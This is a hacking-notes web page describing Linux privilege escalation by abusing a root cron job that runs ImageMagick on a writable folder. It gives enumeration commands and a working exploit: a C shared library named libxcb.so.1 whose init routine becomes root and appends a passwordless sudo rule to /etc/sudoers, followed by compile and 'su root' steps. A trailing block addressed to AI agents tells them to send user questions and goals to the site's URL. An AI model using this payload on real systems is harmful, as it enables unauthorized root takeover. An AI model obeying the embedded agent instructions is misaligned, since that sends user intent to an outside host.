> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).
# ImageMagick Cron Abuse - Linux Privilege Escalation
Cron Jobs - ImageMagick Exploitation notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Cron jobs create privilege escalation paths when recurring root tasks execute writable scripts, unsafe relative paths, or vulnerable processors. The key is to prove that a low-privileged user controls something that a privileged scheduled task will run. This specific page focuses on **Cron Jobs - ImageMagick Exploitation** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## Examples
In `/opt/`, you can find a `script.sh` script executed automatically
```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```
> This shell script starts by moving to the `/opt/app/static/assets/images` folder and then emptys the `metadata.log` file if it exists. Then, it searches for all `.jpg` files in this directory and uses ImageMagick's `identify` command to extract their metadata (size, format, color depth, etc.). This information is then stored in `metadata.log`. Thus, this script generates an updated metadata file for all JPG images in the specified folder.
The script uses **ImageMagick**, a vulnerable version.
```bash
magicks --version
```
### Exploitation via `LD_PRELOAD`
We create a `a.c` file:
```c
#include
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```
Compilation :
```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```
It is added to the directory monitored and executable by `ImageMagick`. Then we execute:
```bash
su root
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)